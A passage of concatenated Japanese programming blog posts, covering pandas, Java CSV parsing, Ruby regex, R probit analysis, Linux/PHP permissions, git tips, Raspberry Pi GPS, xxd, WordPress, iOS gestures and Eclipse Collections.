##もちろん「日付」列など作らなくとも日毎の集計も簡単です。
~~~python
# 日単位で算出
df_original.resample('D').mean()
~~~

Volume
2014-01-01	1030.083333
2014-01-02	1025.291667
2014-01-03	1094.875000
2014-01-04	1086.833333
2014-01-05	970.750000

# これは捗る！！
csvfile.java

https://qiita.com/v_ohji/items/87ad6e6d305f43f9ebca

``` :csvfile.java
import java.io.IOException;
import java.util.Arrays;
import java.util.stream.Stream;
import java.util.stream.Collectors;
import java.nio.file.Files;
import java.nio.file.Paths;
 
class csvfile {
  public static void main(String args[]) {
    // read from csv file
    try (Stream<String> stream = Files.lines(Paths.get(System.getProperty("user.dir"),args[0]))) {
    // read each line
        String data[][] = stream.map(line -> line.split(","))
        .map(line -> Arrays.stream(line)
        .map(String::new)
        .toArray(String[]::new))
        .toArray(String[][]::new);
        
        //debug
        //System.out.println(data[0][0]+data[0][1]+data[0][2]);
        
    } catch (IOException e) {
        e.printStackTrace();
    }
  }
}
```
メタプログラミングRubyに出てくる正規表現を読み解く

Hakusan mafiaアドベントカレンダーの１３日目の記事を書かせてもらいました、長谷川です。マフィアハウスなどで会った時はよろしくお願いします！

さて、今回のテーマは正規表現としました。バリバリに使っている人もいる一方であんまり使わないという人の方が多いと思うので、そういった方に目を通して欲しいです。

#はじめに
メタプログラミングRubyの3章を読んでいた時に急に正規表現が出てきたので、その意味を読解してみました。

#問題の箇所
Hashieというgemについての記述の時に、その正規表現は出てきました。

```ruby:gems/hashie-1.2.0/lib/hashie/mash.rb
module Hashie
  class Mash < Hashie::Hash
    def method_missing(method_name, *args, &blk)
      return self.[](method_name, &blk) if key?(method_name)
      match = method_name.to_s.match(/(.*?)([?=!]?)$/)
      case match[2]
      when "="
        self[match[1]] = args.first
        （略）
      end
    end
    （略）
  end
end
```
>/(.*?)([?=!]?)$/

これについて詳しく見ていこうと思います。


#分解してそれぞれチェック

##1, ()
正規表現では、()で囲った部分をグルーピングすることができます。まあこんなことは言わずもがなだとは思うのですが、実は正規表現においては、もう一つ別の機能があります。それは、()の対になっているグループは単なるグループではなくキャプチャを伴っており、それぞれに番号が割り振られるということです。

番号は左から見ていった時の()の順番でつけられていきます。つまり、(.*?)がグループ１で、([?=!]?)がグループ２です。これらのグループは、\1や\2で後方参照できたり、置き換えができたりもします。

今回は、下の行で
>case match[2]

や、

>self match[1] = args.first

という感じで、番号を指定してグループを参照しています。


##2, (.*?)
意味は、0文字以上の任意の文字列です。

「.」で改行を除く任意の一文字を表し、「*」で「.」の0回以上の繰り返しをマッチさせています。

「?」は、「*」や「+」のような量指定子の後につけることで、最短でマッチするような動きをさせます。いわゆる控え目な量指定子です。

この「?」をつけなかった場合、貪欲であるアスタリスクによって、マッチに必要な分以上のテキストを最初に取ってきてしまい、バックトラックの処理に時間がかかってしまうということが起きたりします。控えめって大切ですね。

この表現については参考までに[[正規表現] .*?は最短マッチではない](https://qiita.com/anqooqie/items/191ad215e93237c77811)という記事も見てみてください。

##3, ([?=!]?)
「?」か「=」か「!」のどれかに1回マッチする、もしくはどれともマッチしないという意味です。

[]を使った記法は、文字クラスと呼ばれます。作用としては、[]の中に文字を一つ、あるいは複数指定した時に、指定した文字のいずれかとマッチするようにします。つまり、今回のケースでいえば「?=!」のいずれかとマッチするということです。

[?=!]ってなんだか意味ありげですが、文字クラスの中で特別な機能を持つのは、\, ^, -, ] の４字だけなので、特別深い意味はありません。


末尾の「?」は、直前の正規表現の0回もしくは1回に一致させます。つまり、[?=!]が0回、または1回出てきた時にマッチします。

##4, $
直前にある正規表現マッチと、行末とを一致させるアンカーです。つまり、直前の正規表現グループ、([?=!]?)を、対象テキストの末尾とマッチさせます。

#まとめ
method_nameにmatchメソッドを当てていることからも分かるように、この正規表現には、メソッド名をマッチさせています。
メソッド名の末尾に=や?、！がついている場合にも対応できるようになっていますね。


また、正規表現を遊びながら勉強できる[Regex Cross­word](https://regexcrossword.com/)というクロスワードもあるので、興味あったら遊んでみてください！
Rでプロビット分析して全部のせプロット

心理系なら誰もが一度はやってみたいprobit分析．
最近図を作る機会があったのでメモ．多分これが一番早いと思います．そして一番無骨…

```R
# ===== 累積正規分布にだいたい従うぐらいの適当なデータを生成する =====
x <- rep(seq(-10, 10), 10)
y.true <- pnorm(x, mean = 0, sd = 3)
y <- ifelse(y.true + rnorm(length(x), sd = 0.3) >= 0.5, 1, 0)
d <- data.frame(x, y)

# ===== プロビット回帰して予測値を算出する =====
model <- glm(y ~ x, family = binomial(probit), data = d)
summary(model)
x <- seq(-10, 10, length = 1000)
y.probit <- predict(model, data.frame(x), type = 'link', se.fit = TRUE)
y <- pnorm(y.probit$fit)
plot(x, y, type = 'l', xlim = c(-10, 10), ylim = c(0, 1))  # 図中の実線

# ===== 両側95%信頼区間を図に加える =====
interval <- qnorm(0.975, 0, 1) * y.probit$se.fit
lines(x, pnorm(y.probit$fit + interval), lty = 2)  # 図中の破線 (上側)
lines(x, pnorm(y.probit$fit - interval), lty = 2)  # 図中の破線 (下側)

# ===== PSE (主観的等価点) を求めて50%閾値に線を引く =====
pse <- as.vector(-coefficients(model)[1] / coefficients(model)[2])
abline(h = 0.5, lty = 3)  # 図中の点線 (横線)
abline(v = pse, lty = 3)  # 図中の点線 (縦線)

# ===== 実験条件ごとに平均値を算出して散布図を書く =====
y <- tapply(d$y, d$x, mean)
x <- names(y)
points(x, y)  # 図中の散布図
```

![Rplot01.png](https://qiita-image-store.s3.amazonaws.com/0/174322/47ab1510-e56f-ffc9-e3eb-93a22f8e2c5e.png)

* プロビット回帰自体は`glm`で二項分布仮定してリンク関数を累積正規分布に設定するだけです
* たとえ1変量の回帰モデルであっても，predictに直接説明変数xのベクトルを与えることはできないようです．ので，xという列を持つデータフレームに変形しておく必要があります
* predict時に`type = response`とすると累積確率が，`type = link`とするとプロビット値が，`type = prediction`とすると01の予測値が返ってきます．すごい楽
    * 要は
        * `predict(..., type = 'response') == pnorm(predict(..., type = 'link'))`
        * `predict(..., type = 'predict') == predict(..., type = 'response') >= 0.5`
    * カーブをプロットするだけなら`type = reponse`で良いけど，信頼区間の計算が手間なので，一旦`type = link`でプロビット値の予測値を出し，必要なタイミングでpnormを使い累積確率に変換するほうが楽そう
* predict時に`se.fit = TRUE`にするとプロビット値の標準誤差を計算してくれます．なので，「プロビット値 ± 1.96 * 標準誤差により上下信頼区間を計算する」「その値をpnormでくくる」の2ステップで累積確率の信頼区間を求めることができます
    * 「`predict(..., type = 'response')`で直接 (プロビットではなく) 累積確率の`y$fit`と`y$se.fit`を出し，`y$fit + 1.96 * y$se.fit`で上下信頼区間を求める」とこの2ステップを逆順に行うことになります．この方法は結構色んな記事で見かけますが，pnormは非線形な変換なので，ホントはダメなんじゃないかなぁ．そもそもそのような方法を使ってしまうと，せっかくbinomialを仮定したのに信頼区間が01の範囲外に出る可能性がありますよね
* PSEが`-coefficients(model)[1] / coefficients(model)[2]`で計算できる理由は[九大の先生が詳しく説明してくれています](http://www.psycho.hes.kyushu-u.ac.jp/link/r-pse/)
* 最後から二行目では`tapply`で作ったテーブルの`names`を取得しx軸としています．このxは実際には文字列なのだけど，なぜかpoints時に普通に数値に変換されてプロットできます
* PSE算出後，たいていの研究ではPSEに対する実験要因の効果を分散分析することになります．いち意見ですが，PSEの分散分析は，刺激量と実験要因を説明変数としたGLMやGLMMと比較して以下の利点と欠点があります
    * 長所1: 「主観的に等価と感じる点」が人によって違うかどうかを問題とする場合，結果の解釈がおそらく最も容易である
    * 長所2: 頑健さが経験的に示されてきた心理物理学の手法にしたがう分析である
    * 短所: PSE以外の情報がすべて捨てられるため，刺激量と実験要因の交互作用を分析できない．したがって，たとえば次のような可能性については言及できない: ある実験操作は判断に自信がある場合 (01付近) にのみ影響する

普段Pythonを使っていますが，たまにR使ってみると早くていいですね．
phpとlinuxパーミッション


## 親ディレクトリは `r-x`

```sh
# ls -l
合計 4
drwxr-xr-x  2 root root  6 12月 12 21:53 default_dir
-rw-r--r--. 1 root root 18 12月 11 22:23 index.php
drw-r--r-x. 2 root root 53 12月 12 00:14 public

# sudo tree
.
├── default_dir
├── index.php
└── public
    ├── default_permission.php
    └── index.php
```

### パーミッションrw- r--

```sh
sudo chmod -R o=rw public
sudo chmod -R o=r public
```

error nginx403

```sh
sudo chmod -R o=x public
```

error nginx access denied

## php実行

```sh
# ls -l
-rw-r--r-- 1 root root  0 12月 12 00:12 default_permission.php
-rw-r--r-- 1 root root 17 12月 12 00:14 index.php
```

### 右3文字の `r--` の `r` がいる でphp実行できる

```sh
# cat index.php
<?php
phpinfo();
```
![permission644.png](https://qiita-image-store.s3.amazonaws.com/0/174000/23c8e414-534b-827a-7f0e-afdb8936a763.png)

### パーミッション640

Access denied.

```sh
# chmod 640 index.php
# ls -l
合計 4
-rw-r--r-- 1 root root  0 12月 12 00:12 default_permission.php
-rw-r----- 1 root root 17 12月 12 00:14 index.php
```

![permission640.png](https://qiita-image-store.s3.amazonaws.com/0/174000/6a412d40-5f29-da50-d4a2-6e1cd1c33c8e.png)

## ファイル書き込み

```sh
# tree
.
├── default_permission.php
├── file.php
├── index.php
└── test.txt
# ls -l
-rw-r--r-- 1 root root 70 12月 12 22:13 file.php
-rw-r--r-- 1 root root  0 12月 12 22:12 test.txt
# cat file.php
<?php

$filename = 'test.txt';

file_put_contents($filename, 'test');
```

error

```sh
 *19 FastCGI sent in stderr: "PHP message: PHP Warning:  file_put_contents(test.txt): failed to open stream: Permission denied in /var/www/laravel/public/file.php on line 5" while reading response header from upstream, client: 10.0.0.6, server: 10.0.0.8, request: "GET /file.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/php-fpm/php-fpm.sock:", host: "10.0.0.8"
```

```sh
sudo chmod -R ug+rw test.txt
sudo chown -R nginx:nginx test.txt
```

OK
【第二弾】git マスターになりたい

#gitを使いこなせるようになりたい。
仕事で初心者プログラマーとして働き5ヶ月目。依頼案件の実装を行うところまでは少し出来るようになってきた。しかし、gitの操作が危く最近注意される。根本から理解したい。

#gitに負けるな
リリースも増えてきて、色々失敗している最中である。
でも、ここで挫けては優秀なプログラマーにはなれない。
逃げずに学びを記入していく。

#最近の学び

##commitメッセージは、短くする。
commitはある意味でメソッドのようなものを感じている。
依頼案件の100%を反映させていたブランチがあるが、実際のリリース分は段階的で第一リリースの時にはおよそ40%の分しかリリースしなかった。
その時、僕はこうしてしまった。

##100%反映させていたブランチから、不要なファイルを元の状態に戻してcommitをした。
これが大きな間違い。100%に戻したいときに、masterにrebaseしたら元の状態に戻るcommitも反映されてしまう。
よって、Cherry-pickを使って不要だと思っていたファイルを作ったときにcommitを戻してくればいいだけの話だった。もちろん、その間に追加修正があるが、不要ファイル部分をつくった時のcommitを反映させたブランチで追加修正をすればいい。
不器用かもしれないが、こういう方法もあると学んだ。

##gitコマンドを打つ時間が勿体無い
これはプログラマーの中では常識だと思うが、初心者なので許してください。
自分でgitコマンドのショートカットを設定することができる。
■参照資料
https://qiita.com/unsoluble_sugar/items/ce14e9ce20aa5ba34fe5

##プログラマーとしてのピュアタイムをいかに取るか
これは自分の1日をスケジューリングしていかに開発に充てる時間を取るかが重要。
ミーティングとミーティングの間の30分なんで正直何もできないし集中力はミーティングにいくことが多い。
よって、予め定められた予定を把握した上で、日々の自分の生態系も考慮に入れて開発時間を押させるかがポイントとなる。

##メソッドをコピペで作らない
正直、依頼された案件を早く実装すればいいと思っていたが、それでは挙動が違うと指摘されたら、そのコピペしたメソッドを読み解かないといけない。これは意外と時間がかかる。特にJSに感じる。
よって、時間がかかっても、そこで学んだメソッドのロジックは将来的にずっと使う可能性が高い。
よって、何で動くかを研究する時間はプログラマーとしてのピュアタイムに含まれる。
スピードが早くても、戻しが多かったらユーザーにも迷惑。結局時間がかかることになる。

##長々と失礼しました。本日だけでこんなに肌で学べた。
技術同人誌を書くノウハウ本を作った

11日目、遅ればせながらの更新です。

#技術系同人誌を書くノウハウ本
技術書典やコミケの技術島で本を書いて売る一連の流れを追いつつ
関連ノウハウすべて盛り込んだほんがあったらよいかな、と思い。

![first-tweet.png](https://qiita-image-store.s3.amazonaws.com/0/215872/9ae2b5b9-ee78-414b-5491-92c888c6339a.png)

C93合同誌：「ワンストップ！技術同人誌を書こう(仮)」　の企画要旨説明
http://oyakata2.blog104.fc2.com/blog-entry-13.html

そして、本日入稿完了しました。
本文212Pの超厚い本になりました。
執筆者の皆様、ご協力ありがとうございました。

Re:VIEW+Gitで共同執筆したら、みんなが寄ってたかって書いて、
締め切り過ぎてからもプッシュ・プルリクしまくりで…
終わってみればこの有様ですよ。
みんな頭を冷やすんだ！（後の祭りの褒め言葉

#もくじ
1.イベント参加のすすめ
2.アウトプットを始めよう
3.ネタ出し法
4.本のスタイルはどうすればよいのか？
5.表紙を作る
6.表紙のお手軽な作り方(macOS編)
7.執筆環境
8.図を埋め込む(macOS編)
9.図を埋め込む(Windows編)
10.ノンブルの付け方
11.印刷会社に頼む上でのあれこれ
12.準備をしよう
13.当日朝、開場までの準備
14.開催中のTips
15.イベント後にやること
16.委託をしよう
17.コミュニティに参加する
18.印刷部数とお金の話
19.やる気と次の締め切りを手に入れよう。
付録A：この本の執筆環境について
付録B：Re：VIEWのインストール（Windows7編)
付録C：Wordによる執筆の流れ

#頒布場所
今年の冬コミで出します。
1日目：東3　カ41b 親方Project
3日め：東4　リ05b　Clear-mint
予価：2000円。その価値はあります・・・きっと。
3日目は搬入数あまり多くないので、ぜひ一日目までお運びください。

#中身（おためし版）
https://www.slideshare.net/ssuser6f9d71/ss-83907366
[swift] 2017年 AKIBA.swift忘年回

<p>本日（12/11）に開催された、2017年 AKIBA.swift忘年回 に参加したので、その内容を報告する。</p>

<p>今回は、忘年回？ということで、設けたテーマに沿った発表が行われた。</p>

<ul>
        <li>続・できるだけUI系のライブラリを用いないアニメーションを盛り込んだサンプル実装の補足</li>
        <li>Poly API for ARKit</li>
        <li>iPhone X対応~Safe Areaの外側~</li>
        <li>AKIBA枠：プログラム出来ますか？</li>
        <li>AKIBA枠：ヌルオタ的今期アニメ BEST3</li>
        <li>番外編</li>
</ul>

<p>自分も1995年から続く団体や2003年から続く勉強会に参加しているのだが、発表内容のレベルの高さや面白さには驚かされている。<br />
おそらく、今、Swift界隈はとても面白い状況だと思う。メインストリームであることによる高いクオリテイと、近年肩身が狭かったクライアント・サイドのプログラミングをモダン化したSwiftによって趣味性が強い面もあり、これらの相乗効果によって、この状況が生まれたのであろうか？</p>

<p>この幸せな状況をただ単に受け取るだけでなく、より充実していくよう、協力できればと思っている。</p>

関連情報
<a href="https://qiita.com/advent-calendar/2017/cocoa">Cocoa Advent Calendar 2017</a><br />
<a href="https://cocoa-kanto.connpass.com">Cocoa勉強会 BUKURO.swift (connpass)</a><br />
<a href="https://atnd.org/groups/cocoa-study">Cocoa勉強会 BUKURO.swift (ATND)</a><br />
<a href="http://cocoa-study.peatix.com">Cocoa勉強会 BUKURO.swift (Peatix)</a><br />

【Cocoa練習帳】
<a href="http://www.bitz.co.jp/weblog/">http://www.bitz.co.jp/weblog/</a><br />
<a href="http://ameblo.jp/bitz/">http://ameblo.jp/bitz/</a>（ミラー・サイト）<br />
<a href="https://t.co/6P3h2jtbRk>note</a><br />
<a href="https://qiita.com/m_yukio>Qiita</a><br />
Raspberry Pi3でGPSを扱う

# はじめに
Raspberry Pi3にGPSデバイスを搭載し、PythonでGPSデータを取得してみます。

# 環境
以下の環境を使用します。

| 環境 | バージョン |
| --- | --- |
| Raspberry Pi3 Model B | - |
| RASPBIAN STRETCH WITH DESKTOP | November 2017 |
| Python3 | 3.6.3 |
| [GLOBALSAT BU-353S4 USB GPSレシーバー](https://www.tokyo2show.co.jp/gps/globalsat_bu353s4) | - |

# 環境構築
GPSデバイスを使用するために必要なソフトウェアのインストール等を行います。

まず、USBポートにGPSデバイスを差し込み、デバイスが認識されたことを確認します。

```
$ dmesg | grep Prolific
usb 1-1.3: Manufacturer: Prolific Technology Inc.

$ ls /dev/ttyUSB*
/dev/ttyUSB0
```

続いて、GPSデーモンのgpsdやクライアント等をインストールします。

```
$ sudo apt-get install gpsd gpsd-clients python-gps
$ sudo apt-get install cu
```

gpsdの設定を行います。デバイス名やgpsd実行時のオプションを指定します。

```
$ vi /etc/default/gpsd

# 以下の2行を修正する。
DEVICES="/dev/ttyUSB0"
GPSD_OPTIONS="-n"
```

gpsdサービスの自動起動設定等を行います。

```
$ sudo systemctl enable gpsd.socket
$ sudo systemctl start gpsd.socket
```

ここでRaspberry Piを再起動します。


# PythonでGPSのデータを取得してみる
PythonでGPSを使用するために、gpsモジュールをインストールします。

```
$ pip3.6 install gps3
```

以下はPythonのソースコードです。
GPSの電波状況が良い場所で実行して下さい。

```py3
from gps3 import gps3

gps_socket = gps3.GPSDSocket()
data_stream = gps3.DataStream()
gps_socket.connect()
gps_socket.watch()

for new_data in gps_socket:
  if new_data:
    data_stream.unpack(new_data)
    print('time : ', data_stream.TPV['time'])
    print('lat : ', data_stream.TPV['lat'])
    print('lon : ', data_stream.TPV['lon'])
    print('alt : ', data_stream.TPV['alt'])
    print('speed : ', data_stream.TPV['speed'])
```

以下のように繰り返し表示されます。

```
time : 2017-12-11T14:58:33.040Z
lat : xx.xxxxxxxxx
lon : xxx.xxxxxxxxx
alt : 44.832
speed : 0.0
・・・
```

# おわりに
備忘録的にRaspberry PiでGPSモジュールを扱う方法を記しました。

電波状況が良くないとGPSからのデータを取得できず正常に動作しないことが多いです。
設定が間違っているのか、プログラムが間違っているのか、GPSの受信状況が良くないのか、原因の切り分けがやっかいなので、GPSの電波状況が良い場所で動作確認することをお勧めします。
Alfred Workflow + QuickLookを使い、ショートカットで特定のファイルを開く

チートシートとか、特定のファイルをちょっと確認したいときってありますよね

ショートカット一発でそれができたらいいなと思って作ってみました。

最近vimを使い始めたので、vimのチートシートを表示するのに使ってます

![showvim.mov.gif](https://qiita-image-store.s3.amazonaws.com/0/143774/d8c41ea0-0c9f-1a89-e313-1a11d2773630.gif)

この記事で公開されていたものがわかりやすかったので使ってます。
https://qiita.com/hattys2/items/56d973ad4f197b751501

#### 注意
Alfred Workflow(Alfred powerpack購入で使えるようになります)を使っている人向けです。
Alfred Workflow以外にショートカットキーとコマンドを結びつけるアプリを知ってる人いたら教えてほしいです。

## 作り方

まずworkflowの左下の+ボタンを押し`Blank workflow`を選択します

<img width="1212" alt="スクリーンショット 2017-12-11 23.19.47.png" src="https://qiita-image-store.s3.amazonaws.com/0/143774/ba9a9661-1448-5c5a-6f91-7e9c73dd2d51.png">

名前は適当に決めて、createする
<img width="1212" alt="スクリーンショット 2017-12-11 23.30.31.png" src="https://qiita-image-store.s3.amazonaws.com/0/143774/d2c51ee7-6a77-e879-2f93-f8a4adbb871c.png">

２本指でクリックしてTriggers→Hotkeyを選択
好きなショートカットを指定してsave

<img width="1212" alt="スクリーンショット 2017-12-11 23.32.58.png" src="https://qiita-image-store.s3.amazonaws.com/0/143774/9090a3e3-5f34-81f1-a267-a2a0144c4170.png">

もう一度2本指でクリックしてActions→Run Scriptを選択
Languageは`bash`か`zsh`を選択する(僕はzshを使っているのでzshでやります)

<img width="1212" alt="スクリーンショット 2017-12-11 23.36.22.png" src="https://qiita-image-store.s3.amazonaws.com/0/143774/ca606147-e3a8-d75b-3d96-3ce4a01a4ce7.png">

ここに実行するコマンドを書いていきます。

macのQuickLook機能(finderでspaceキーを押してできるやつ)をコマンドで実行したいので、scriptの中身を消してから以下のように書いてsaveする

```shell
$ qlmanage -p 開きたいファイルまでのパス

(例)
$ qlmanage -p ~/Desktop/hoge.png
```

これで、指定したショートカットキーを押せばファイルがQuickLookで開くようになります！
ターミナルで簡便にバイナリを確認する(Mac)

#概要
ターミナルで簡便にバイナリを確認するコマンドを調べ、確認した。
`xxd`コマンド及び `hexdump`コマンドを用いた。
（今回は、`od`コマンドには触れなかった）

#環境
os: maxOS Sierra Version 10.12.6
terminal: iTerm2 Build 3.1.5

#内容
```bash:ターミナル
$ cat <<EOF >tmp.txt
heredoc> hello
heredoc> 123
heredoc> EOF
$ xxd -bits tmp.txt
00000000: 01101000 01100101 01101100 01101100 01101111 00001010  hello.
00000006: 00110001 00110010 00110011 00001010                    123.
$ hexdump tmp.txt
0000000 68 65 6c 6c 6f 0a 31 32 33 0a
000000a
$ xxd tmp.txt
00000000: 6865 6c6c 6f0a 3132 330a                 hello.123.
$ rm tmp.txt
```
基本的に出力の一番左のカラム（`000006`など）は、ファイル内の位置（バイト数）を表しているはず。
（今回はオプションなしのものを羅列するつもりだったが、01文字列が見たかったので、`xxd -bits`を追加した）

#詳細
##対象ファイルの作成
```bash:ターミナル
$ cat <<EOF >tmp.txt
heredoc> hello
heredoc> 123
heredoc> EOF
```
##バイナリを確認するコマンドの実行
```bash:ターミナル
$ xxd -bits tmp.txt
00000000: 01101000 01100101 01101100 01101100 01101111 00001010  hello.
00000006: 00110001 00110010 00110011 00001010                    123.
$ hexdump tmp.txt
0000000 68 65 6c 6c 6f 0a 31 32 33 0a
000000a
$ xxd tmp.txt
00000000: 6865 6c6c 6f0a 3132 330a                 hello.123.
```
##出力の解釈
###左端のカラム
```bash:ターミナル（再掲）
$ xxd -bits tmp.txt
00000000: 01101000 01100101 01101100 01101100 01101111 00001010  hello.
00000006: 00110001 00110010 00110011 00001010                    123.
```
1行目の`01101000`から`00001010`までのところは、8桁の0/1文字列が6つあり、6バイト分の情報であることが分かる。
そのため、2行目の左端のカラムは、`00000006`となっている。

```bash:ターミナル（再掲）
$ hexdump tmp.txt
0000000 68 65 6c 6c 6f 0a 31 32 33 0a
000000a
```
こちらは16進数表記のものであるが、次の項で示す通り2文字で1バイトを表しているから、
1行目で`68`から`0a`までの10バイト分の情報を載せており、
2行目の左端のカラムは、`000000a`となっている。(`a`は`9`の次で、10進数の`10`)

###2進数/16進数
```bash:ターミナル（再掲）
$ xxd -bits tmp.txt
00000000: 01101000 01100101 01101100 01101100 01101111 00001010  hello.
00000006: 00110001 00110010 00110011 00001010                    123.
$ xxd tmp.txt
00000000: 6865 6c6c 6f0a 3132 330a                 hello.123.
```
1行目1バイト目だけについて、確認する。
2進数`01101000`は、`0110`と`1000`が連結されており、
2進数`0110`->10進数2^2+2^1\=`6`->16進数`6`であり、
2進数`1000`->10進数2^3\=`8`->16進数`8`であるから、
16進数で、`68`と表される。
（16進数二桁で、1バイトとなる）

###文字コード
対応表[2]で、文字コードを確認する。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/201717/ebdfa250-84c9-9004-18db-df7b63d0b7ae.png)
`6865 6c6c 6f0a 3132 330a`の各バイトにおいて、Hxに対応するChrを見ていけば良い。

```
68->h
65->e
6c->l
6c->l
6f->o
0a->LF
31->1
32->2
33->3
0a->LF
```
打ち込んだ通りの文字が保存されていることが確認された。
（LFについては、以下の通り）
>ラインフィードの略で、改行を表す制御コード。テキストデータ内での改行位置を明示するために使用する。[3]

###右端のカラム
その行を、asciiコードとして理解した時の内容が出力されているはずである。

##対象ファイルの削除
```bash:ターミナル
$ rm tmp.txt
```
お片付け。

#参考文献
[1]https://www.glamenv-septzen.net/view/1224
[2]http://www.asciitable.com/
[3]https://kotobank.jp/word/LF-1798
Atomでプロジェクト検索結果をクリップボードにコピーする方法

まずは、普通に[Shit+⌘+F]で検索します。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/152997/95ef6354-1bac-c3cc-c9fb-4596de579e32.png)

次に[Option+⌘+I]でDeveloper Toolを開き、そこのConsoleで以下を実行します。

```js
pack = atom.packages.getActivePackage('find-and-replace');
results = pack.mainModule.resultsModel.results;
hoge = Object.values(results).map((result) => { return {filePath: result.filePath, matches: result.matches.map((match) => { return match.lineText })} });
copy(hoge);
```

![image.png](https://qiita-image-store.s3.amazonaws.com/0/152997/5166674c-9859-8123-6578-39e1373e87fc.png)

クリップボードに以下のようにコピーされます。

```json
[
  {
    "filePath": "/Users/you/Projects/hoge/app/controllers/api/api_controller.rb",
    "matches": [
      "class Api::ApiController < ApplicationController"
    ]
  },
  {
    "filePath": "/Users/you/Projects/hoge/app/controllers/api/bills_controller.rb",
    "matches": [
      "class Api::BillsController < Api::ApiController"
    ]
  },
  {
    "filePath": "/Users/you/Projects/hoge/app/controllers/api/clients_controller.rb",
    "matches": [
      "class Api::ClientsController < Api::ApiController"
    ]
  },
  ...
]
```

以上です。
WordPressからHTMLファイルに記事を投稿する

#WordPressから静的ファイルに記事を投稿する

WordPressからHTMLファイルにどうしても記事を投稿したかったので
その手順を忘れないようメモ。。。

- WordPressの一般設定を変更

![一般設定.png](https://qiita-image-store.s3.amazonaws.com/0/208719/2aeb8604-cf55-c4cd-21b4-c39edff25ed5.png)

- 対象のHTMLファイルの１行目に下記の内容を記載

```php
<?php require '../../wp/wp-blog-header.php'; ?>
```

- 記事を載せたい部分に下記のソースを記載

```php
<ul>
<?php
$posts = get_posts("numberposts=5&category=&orderby=post_date&offset=0");
foreach ($posts as $post):
setup_postdata($post);
?>
<li>
<?php the_time('Y.m.d') ?>
<a href="<?php the_permalink() ?>"><?php the_title() ?><?php the_post_thumbnail('thumbnail'); ?></a>
<?php echo mb_substr(get_the_excerpt(), 0, 30); echo '...' ; ?>
</li>
<?php endforeach; ?>
</ul>
```
- WordPressから通常の手順で記事を投稿


この手順で無事にHTMLファイルに記事を投稿することが出来ました。

以上
iOSアプリの「スワイプで戻る」を特定の画面でのみ無効にさせたい場合

# 「スワイプで戻る」を無効にした方が良い画面

iOSアプリはデフォルトで、画面左端をスワイプする（pop gesture）ことで1つ前のViewControllerに戻ることができます。
これは便利なのですが、ドラッグジェスチャを仕込んでいるような画面、例えば「お絵描きペンツール画面」などにおいては、このジェスチャが誤発動する可能性があるため、無効にした方が良さそうです。

# 戻るジェスチャを無効にする方法

## 基本

まず、あの「スワイプで戻るジェスチャ」は、誰が管理しているのかと言うと、`UINavigationController`になります。
`UINavigationController`に`interactivePopGestureRecognizer: UIGestureRecognizer?`というプロパティがあります。

これを無効にすれば良いので、「戻るジェスチャを無効にしたいViewController」の`viewDidAppear`辺りで、以下のような実装をすればよいです。

```swift
self.navigationController?.interactivePopGestureRecognizer?.isEnabled = false
```

これでOKといえばOKなのですが…。

## 各ViewControllerで各々やることの問題点

上記の実装を、「戻るジェスチャを無効化したいViewController」でそれぞれ行うのは、あまり良くないです。

- 有効に戻し忘れてはいけない
- 無効な画面が2つ以上連続する場合とか、「falseにする」「trueにする」タイミングを慎重に検討しないといけない

これらがあるので、出来れば個々に実装するのはやめて、ズバッと一気に対応したい。

## `UINavigationControllerDelegate` で対応すれば良い

以下の方法で実装することをおすすめします。

- `UINavigationControllerDelegate`の`navigationController(_:didShow:animated:)`のタイミングで処理
- 「表示された子ViewController」が「戻るジェスチャを無視するべき」なのか否かをチェックし、その結果を反映

予め「戻るジェスチャを無視するべき」を意味するプロトコルを定義しておきます。

```swift
protocol NonSwipeable {}
```

戻るジェスチャを無視したいViewControllerは、このプロトコルに準拠させます。

あとは、`UINavigationControllerDelegate`で以下の処理を行えばOK。

```swift
func navigationController(_ navigationController: UINavigationController, didShow viewController: UIViewController, animated: Bool) {
    navigationController.interactivePopGestureRecognizer?.isEnabled = !(viewController is NonSwipeable)
}
```

こうしておけば、普通の画面（戻るジェスチャは有効であるべき）に遷移した際に、ちゃんとジェスチャを有効に戻してくれます。
Eclipse Collectionsのイケてるところイケてないところ

Java Advent Calendar 2017 11日目の記事です。

のがみんちょといいます。JavaとAWSの狭間で生きてます。

みなさんEclipse Collectionsはご存知でしょうか。
2004年にGoldman Sachsが開発し、その後OSSとなって2015年にEclipse Foundationに移管されました。

Eclipse Collectionsとは？の内容は、他の資料でまとまっているものがあるため、
イケてるところ、イケてないところにフォーカスしてお伝えします。

# Eclipse Collectionsとは？
上記の通り、一般的な内容は、焼き直しになってしまうため割愛します。
下部記載の参考資料を参照してください。

# イケてるところ
## ファクトリメソッドのAPIが統一的
Java9でもコレクションのファクトリメソッドがリリースされましたが、これはイミュータブルなものです。

Eclipse Collectionsでは、List, Set, Mapなどのコレクションを統一的なAPIで初期化できます。

```java
MutableList<String> list = Lists.mutable.of();　
MutableSet<String> set = Sets.mutable.of();
MutableMap<String, String> map = Maps.mutable.of();

// ofの代わりにwithも利用可
MutableList<String> list = Lists.mutable.with();　

// immutableの場合も呼び出し方法はほとんど同じ
ImmutableList<String> list = Lists.immutable.of();　
```

## 多数のデータ構造がある（特にMultimapとPartition）
EclipseCollenctionsでは以下のようなデータ構造をサポートしています。

|データ構造|対応するプリミティブ|
|:--|:--|
|List||
|Set||
|SortedSet|順序つきSet|
|Bag|重複ありSet|
|SortedBag|順序つきBag|
|Map||
|BiMap|双方向マップ|
|SortedMap|順序つきMap|
|Multimap|キーに対応するバリューがコレクション。List, Set, Bagから選択可|
|Stack||
|Pair|Tuple形式のデータ|

## PrimitiveCollection
StreamAPIにも、IntStream, LongStreamなどPrimitiveなStreamはありますが、データ構造としてはList-likeな取扱いしかできません。
前項のコレクション全てに対してPrimitiveなコレクションが存在します。

ラッパークラスを利用するよりも、メモリ効率がよく大量データを処理する場合、顕著に差が出ます。

## 引数にメソッド参照が利用できるメソッドが存在する
Java8で悩みどころだったのが、Predicateを引数に取るメソッドでは、メソッド参照が利用できませんでした。
Eclipse Collectionsでは、複数メソッドにwithの接尾辞があるものがあり、メソッド参照を有効活用できます。

```Java
// Java8での記述
boolean result = this.people.stream().anyMatch(person -> person.hasPet(PetType.CAT));
// Eclipse Collectionsに書き換え
boolean result = this.people.anySatisfy(person -> person.hasPet(PetType.CAT));
// withを用いた場合
boolean result = this.people.anySatisfyWith(Person::hasPet, PetType.CAT);
```
（参考資料2より引用）

## Mapのイテレートが容易
StreamAPIで悩みだったのが、「MapのすべてのValueを変換する」処理が簡潔に書けないものでした。
